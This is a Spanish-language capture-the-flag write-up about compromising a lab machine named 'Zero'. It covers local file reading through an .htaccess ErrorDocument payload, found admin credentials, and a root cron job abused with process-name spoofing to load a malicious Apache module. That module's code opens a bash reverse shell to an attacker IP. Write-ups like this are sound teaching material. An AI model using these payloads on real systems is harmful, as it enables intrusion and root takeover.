🎯 Mission Briefing
Objetivo: Comprometer el servidor “Zero” (Insane), abusando de configuraciones exóticas de Apache y escalando privilegios mediante manipulación de procesos.
El vector principal implica el abuso de un servidor web Apache compartido, utilizando .htaccess para lectura de archivos (LFI) y posteriormente inyectando módulos maliciosos en la configuración de Apache para obtener ejecución de comandos como root.
🕵️ Phase 1: Intelligence Gathering
Scan de Puertos
El reconocimiento inicial revela un servidor web Apache y un servicio SSH.
$ nmap -p 22,80 -sCV 10.129.234.62
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Enumeración Web
El sitio web permite a los usuarios registrarse y obtener credenciales SFTP para alojar contenido estático.
- Formulario de Registro:
/signup.php-> Entrega credenciales (zro-db5ad130:cbc6427b). - Acceso SFTP: Confirmado acceso al directorio
public_html.
⚔️ Phase 2: Infiltration (LFI & Enumeration)
Abuso de .htaccess
Aunque la ejecución de PHP está deshabilitada, el servidor permite configuraciones .htaccess. Abusamos de la directiva ErrorDocument para exfiltrar contenido de archivos locales cuando se genera un error 404.
Payload (.htaccess):
Header always set X-Zero-Customer 'zro-db5ad130'
ErrorDocument 404 %{file:/etc/passwd}
Al acceder a un recurso inexistente, el servidor nos devuelve el contenido de /etc/passwd. Automatizamos este proceso con un script en Python para enumerar el sistema de archivos completo.
Hallazgos Críticos:
- Credenciales de Admin: En
stats.php, encontramoszroadmin:correct-horse-battery-staple. - Configuración Apache: Se identifican scripts de mantenimiento ejecutados por root.
🚀 Phase 3: Privilege Escalation
Utilizando las credenciales de zroadmin, accedemos vía SSH.
Analizando los procesos con pspy, detectamos un cronjob que ejecuta /usr/local/bin/zro.web-confcheck cada minuto.
Vulnerabilidad: Argument Injection en Apache
El script de verificación utiliza apache2ctl de forma insegura, permitiendo que un atacante inyecte argumentos adicionales si logra falsificar el nombre del proceso que el script está monitoreando.
Estrategia de Explotación:
- Falsificación de Proceso: Utilizamos Perl para renombrar nuestro proceso a uno que coincida con el patrón esperado por el cronjob.
- Inyección de Módulo Malicioso: Creamos una configuración de Apache falsa que carga un módulo compartido (
.so) compilado por nosotros. - Ejecución: Cuando el cronjob valida nuestra configuración “falsa”, Apache carga nuestro módulo como
root.
Modulo Malicioso (C):
static void myinit() {
system("bash -c 'bash -i >& /dev/tcp/10.10.14.223/1234 0>&1'");
}
Tras compilar y preparar el entorno, recibimos una shell con privilegios máximos.
root@zero:/# id
uid=0(root) gid=0(root) groups=0(root)
🏆 Mission Debrief
Zero demuestra cómo “funcionalidades” avanzadas de servidores web (como .htaccess) y scripts de mantenimiento mal diseñados pueden encadenarse para comprometer totalmente un sistema.
Estado de la Misión: COMPLETADA
Nivel de Acceso: ROOT